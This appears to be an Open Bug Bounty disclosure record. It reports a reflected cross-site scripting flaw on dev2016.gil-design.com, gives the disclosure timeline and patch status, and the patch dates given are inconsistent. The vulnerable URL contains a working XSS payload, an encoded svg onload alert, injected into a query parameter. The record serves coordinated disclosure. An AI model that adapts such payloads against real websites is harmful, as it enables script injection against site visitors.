Lucene search

K
openbugbountyDeb_securityOBB:453101
HistoryDec 13, 2017 - 6:59 p.m.

dev2016.gil-design.com XSS vulnerability

2017-12-1318:59:00
deb_security
www.openbugbounty.org
8
Vulnerable URL:
http://dev2016.gil-design.com/index.php?page=productDetails&productNo;=03012014KH306-20-000&pageType;=0&treeMode;=open&nodeId;=&parentProductGroupNo;=&level;=&catId;=&resetProductFilter;=1%22%3E%3Csvg/onload=alert(%27X-S-S%27)%3E
Details:
Description Value
Patched: Yes, at 19.12.2017
Latest check for patch: 19.12.2017 13:14 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
VIP website status: No
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 13 December, 2017 18:59 GMT
Generic security notifications sent to website owner 14 December, 2017 08:19 GMT
Notification sent to subscribers (without technical details) 14 December, 2017 10:17 GMT
Vulnerability details disclosed by researcher 13 January, 2018 08:36 GMT
Vulnerability patched by the website owner 13 January, 2018 22:59 GMT